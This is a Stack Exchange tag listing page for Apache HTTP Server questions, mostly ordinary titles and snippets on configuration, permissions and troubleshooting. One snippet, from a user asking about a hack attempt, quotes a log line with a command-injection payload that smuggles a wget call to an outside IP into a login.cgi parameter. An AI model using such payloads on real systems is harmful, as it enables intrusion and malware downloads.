Episode #125 of the Stack Overflow podcast is here. We talk Tilde Club and mechanical keyboards. Listen now

Questions tagged [apache-http-server]

Apache is the widely known term for the Apache HTTP server, a very commonly used web server software maintained by the Apache Software Foundation. If your question is about other Apache software such as Tomcat or log4j, http://stackoverflow.com/ is a better choice.

Filter by
Sorted by
Tagged with
382
votes
11answers
489k views

How to check which apache modules are enabled/installed?

Which is the most elegant way to check which apache modules are enabled?
193
votes
8answers
614k views

How can I give write-access of a folder to all users in linux?

I installed apache2 on Ubuntu just now, and noticed that the /var/www folder is protected. I can just sudo everything but I would rather just give it write access. How can I do this? I tried sudo ...
98
votes
4answers
346k views

How do I get Apache to follow symlinks?

In my apache www folder (/var/www on ubuntu 10.10) I have: mydir -> /home/user/mydir (that I created with ln -s) Now, if I want to see a listing of the files in mydir from the web, I have to ...
71
votes
6answers
77k views

How do I start apache in OSX Mountain Lion / Mavericks?

OSX Mountain Lion removed the GUI for web sharing, but apache is still installed. How do I start and stop the service? How do I get the service to automatically launch on startup?
64
votes
4answers
9k views

How do web servers know whether you're using direct IP address access?

Some web servers, when accessed using their IP address, return an error that direct IP address access is not allowed. I've been wondering for some time how this works. I mean, doesn't the browser ...
55
votes
6answers
52k views

Apache Bench test error on OS X: “apr_socket_recv: Connection reset by peer (54)”

I updated my MacBook Pro 13" to Lion a few weeks ago. I just found out that Apache Bench (apache2.2.19) is not working. It always shows this error, no matter what: apr_socket_recv: Connection reset ...
43
votes
6answers
63k views

How do I stop services from starting on boot on Ubuntu?

I have lots of servers installed (Apache, MySQL, etc.), but I don't want them all to start at boot time (they drain power, and I'm on batteries most of the time). How do I configure this?
39
votes
6answers
17k views

What is Apache Synapse?

My website keeps getting hit by odd requests with the following user-agent string: Mozilla/4.0 (compatible; Synapse) Using our friendly tool Google I was able to determine this is the hallmark ...
34
votes
1answer
46k views

How to easily create a SSL certificate and configure it in Apache2 in Mac OS X?

I'd like to use my Mac OS X with https for local development tests. How can I easily make Apache2 respond to ssl, just for test proposes - I don't want a real certificate, just a fake to make local ...
31
votes
2answers
4k views

What does this bash script do? [Hack Attempt]

I've been noticing on my servers apache logs, the following strange lines lately: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/...
30
votes
2answers
29k views

Apache 2.4 on Windows responds slowly, hangs when serving some dynamic pages

(I know the answer to this question. Posting this just to share the answer with the community) My local (Windows 7) instance of Apache 2.4 experiences delays or hang-ups when serving some URLs, ...
28
votes
6answers
136k views

How can I determine if Apache is installed on a system?

I have Linux Mint on my computer but I don't know how to find out whether Apache2 is on it or where it is actually installed. I run my web browser (PHP installed) with http://localhost as a URL and it ...
27
votes
6answers
4k views

What do I need to do to have my Raspberry Pi host a webpage with dials indicating CPU temperature, CPU load, etc., in real time?

I am good with Unix commands and scripting, but I have nearly no web experience. I have a script that grabs metrics I’m interested in, like CPU load or system temp and updates a file every 10 seconds. ...
27
votes
1answer
90k views

How to create subdomains on a name-based virtualhost?

I have name-based hosting, lets call it my.address.com. My friend has the 'plain' address address.com and gave me a virtual machine that I can access via SSH. He also made some magic with ports and ...
26
votes
2answers
30k views

Why is the PHP version different in phpinfo() and CLI?

I realized that there is a miss matching between the PHP version reported by phpinfo() and php -v (in the CLI). phpinfo(): 5.5.24 php -v: 5.6.9 I am working on a Mac OS X 10.10 (Yosemite) and ...
22
votes
8answers
84k views

403 Forbidden Error on Mac OS X Localhost

I set up Web Sharing in System Preferences on Mac OS X 10.6 and clicked the link it gave me there. Unfortuantely, Apache gave me this 403 error: Forbidden You don't have permission to access ...
22
votes
2answers
14k views

Why does the percent sign in a URL cause an HTTP 400 Bad Request error?

I stumbled upon this by accident when mistyping the URL for a web page in my web browser. Why does visiting http://example.com/% cause an HTTP 400 Bad Request error to be thrown? Is the server ...
20
votes
3answers
46k views

Apache reverse proxy: no protocol handler

I am trying to configure a reverse proxy with apache, but I am getting a No protocol handler was valid for the URL error, which I do not understand. This is the relevant configuration of apache: ...
20
votes
2answers
40k views

How to remove Server: header from the HTTP response with Apache?

I would like to remove the line: Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g from my server's HTTP responses, but I couldn't find anything ...
20
votes
7answers
67k views

Apache Server on Windows 7 opening up ports?

I have installed Apache 2.2.14 on Windows 7 and can view my web pages using both http://localhost and http://127.0.0.1 but when I try to access the server from another computer on the same router, it ...
20
votes
4answers
146k views

“Connection refused” vs “No route to host”

I have an Apache server running on a server: [root@te-srv2 ~]# ps -ecf|grep httpd root 698 32047 TS 19 10:45 pts/24 00:00:00 grep httpd root 32081 1 TS 19 10:16 ? 00:00:00 /...
19
votes
4answers
59k views

How to add new PHP version to WAMP

I'm trying to install PHP 5.3.8 to work with WAMP (Windows). I downloaded it from the PHP website, copied it in the bin folder, and added this line to wampmanager.ini: Type: item; Caption: "5.3.8"; ...
19
votes
4answers
25k views

What is the recommended directory to store website content?

When I first started programming for the web and I wanted to create a new project I was always taught to create a directory in /var/www/. However in a lot of tutorials I read people tend to create a ...
18
votes
5answers
72k views

How to install the SQLite PDO extension on Ubuntu

The default Ubuntu PHP package does not include the PDO SQLite extension. How can I install the SQLite PDO extension? Is there a package that one can easily install via apt-get?
18
votes
2answers
25k views

What's the difference between “mod_fastcgi” and “mod_fcgid”?

I'm writing a fast CGI application to use with my Apache 2.2 (prefork) on Ubuntu Linux. I need to choose between mod_fastcgi and mod_fcgid, but I can't find any resource that documents the difference ...
17
votes
4answers
11k views

How do I set the Apache2 DocumentRoot to a “vboxsf” VirtualBox Shared Folder? (permissions issue?)

I setup Ubuntu 11.04 desktop 32 bit on a VirtualBox VM with a shared folder to the host. The shared folder is /media/sf_Dev/ I want to change Apache2 to point the DocumentRoot to that folder, so I ...
17
votes
5answers
78k views

Disabling RC4 in the SSL cipher suite of an Apache server

Please, see the EDIT sections in my own answer; they contain an explanation to this conundrum. I'm trying to disable RC4 for an Apache 2.2.9 server running on a CentOS 6.5 VPS and I can't seem to ...
17
votes
1answer
13k views

Proxy radar found in apache logs file

I was reading the logs of the apache server and I was shocked by seeing these logs! [Sun Oct 25 06:44:48.922248 2015] [mpm_prefork:notice] [pid 17635] AH00163: Apache/2.4.7 (Ubuntu) PHP/5.5.9-...
16
votes
3answers
75k views

Permission denied because search permissions are missing on a component of the path, after chmod and chgrp

[core:error] [pid 5132] (13)Permission denied: [client 123.123.123.123:50398] AH00035: access to / denied (filesystem path '/var/www/mysite.com') because search permissions are missing on a component ...
16
votes
1answer
15k views

Can I “reload” Apache2 configuration file without issues?

Is sudo /etc/init.d/apache2 reload interrupting the operations on the webservers hosted by apache ?
15
votes
2answers
4k views

What does it mean when there are many POST requests to /wp-login.php in Apache logs?

The messages are directed toward the WordPress site on my server. These are coming from the access_log, and I don't know if this should worry me or not. There are well over a hundred lines of the ...
15
votes
1answer
59k views

How can I remove Apache2 that I have installed in Mac OS X?

A while ago I thought that it would be handy to install Apache2 on my MacBook and not go the easy route by just installing MAMP. However now I’ve changed my mind but I can’t simply delete Apache2. I’...
15
votes
2answers
31k views

Apache2 - Redirecting a subdomain to another URL

I have two subdomains, a.website.com and b.website.com, pointing to the same IP address. I want to redirect b.website.com to a.website.com:8080. I have this in my .htaccess file... RewriteEngine on ...
15
votes
3answers
48k views

Why is Mac OS X Lion Apache DocumentRoot /usr/htdocs?

I am baffled. I don't see where /usr/htdocs is specified as the DocumentRoot for apache2 on Mac OS X Lion. It is the default DocumentRoot on a new OSX Lion install. Can someone point me to where ...
13
votes
4answers
8k views

“Too many files open” on Mac OSX after running apache in PHP with XDebug for some time

I am running Mac OS X 10.9.4, including the builtin apache2 webserver with PHP 5.5.14 from brew (packages: php55, php55-intl, php55-pdo-pgsql, php55-xdebug). When running this setup it works quite ...
13
votes
1answer
46k views

How do I host multiple physical Web servers behind a single IP address?

I am running multiple web servers in my house, each of which is plugged into my router. Server A Server B Server C I currently can only use one server since my IP (xx.xxx.xx.xx) port 80 is pointing ...
12
votes
5answers
63k views

How to access NodeJS server on LAN?

I'm not the most knowledgeable guy ever with networking, but here goes... I've created an application with NodeJS and I'd like to test the application on my LAN with my family. The application ...
12
votes
2answers
20k views

Behavior of rsync with file that's still being written?

If Apache is in the middle of writing a large file and an rsync cron job runs on that file, does rsync attempt to copy the file? Example Apache-1: Has file large being written to /var/www. Apache-2: ...
12
votes
3answers
9k views

Default handling for unmatched domains/subdomains in Apache

I have an Apache2 configuration with multiple VirtualHosts. My DNS is set to accept *.<domain>.<tld> on multiple domains. Everything is working correctly but if I go to something-random-...
12
votes
3answers
11k views

Bare minimum Apache modules needed for static website and no authN

I've just installed the httpd package in RHEL 6.1 (which provides Apache 2.2.15). The default httpd.conf contains no fewer than 50 instances of the LoadModule directive. However, all I want to do is ...
12
votes
2answers
28k views

Ubuntu 14.04 upgrade broke Apache2

I just upgraded to ubuntu 14.04 and now apache2 won't start, I get the error: root@dennisHome:~# /etc/init.d/apache2 restart * Restarting web server apache2 ...fail! * The apache2 configtest failed. ...
12
votes
5answers
27k views

How to allow acces to a symbolic link in my ~/Sites/ for Apache under Mac OS X Lion 10.7.2

I need allow access to a sym-linked directory within ~/Sites from my Apache. I Symlinked the directories like this ln -s ~/path/to/the/source/directory/ ~/Sites/source-link-here Now whenever I fire ...
12
votes
1answer
3k views

Using sed to enable .htaccess files in Apache config

I am trying to automate the provisioning of an Ubuntu Vagrant box with a Bash script. All is well, but I am having difficulty with configuring Apache to allow overrides from .htaccess files. In my ...
11
votes
7answers
20k views

apache client denied by server configuration after mac OS X upgrade to Yosemite

I know this looks similar to other questions but Yosemite seems to have changed something with apache configuration with the upgrade. my error log says " client denied by server configuration: /Users/...
11
votes
5answers
51k views

How do I copy files into `/var/www` with WinSCP?

When I try to place my web files into /var/www in apache on my ec2 Ubuntu instance it is giving me an error stating that I don't have permission. Permission denied. Error code: 3 Error message from ...
11
votes
1answer
57k views

Setting correct permissions for uploading files

I have a php script that uploads a file to a directory called "uploads". The only way I can get the upload to work is if I do: chmod 777 uploads I know this isn't correct but I don't know what ...
11
votes
2answers
4k views

What is the apache2ctl “-k” flag?

I've been searching for an hour and have found a hundred examples that use it, but no explanation of what it does. I did check man apache2ctl; it doesn't explain the k flag either (elthough it does ...
10
votes
3answers
30k views

How can I see the date/time on my apache server via ssh?

Is there a function I can run at the command line (with ssh access) to see the date and time that's set on my apache server?
10
votes
2answers
20k views

Can't cd into my own directory?

On an EC2 instance I have changed Apache's log location to a different directory than the default. This is so that I can hold the logs on a (non-boot, only data) EBS. However, I can't cd into the ...
10
votes
3answers
34k views

How to download list of files from a file server?

How would I download a list of files from a file server like this one http://www.apache.org/dist/httpd/binaries/ ? I suppose I could use wget but then it tries to get all the links and the html file ...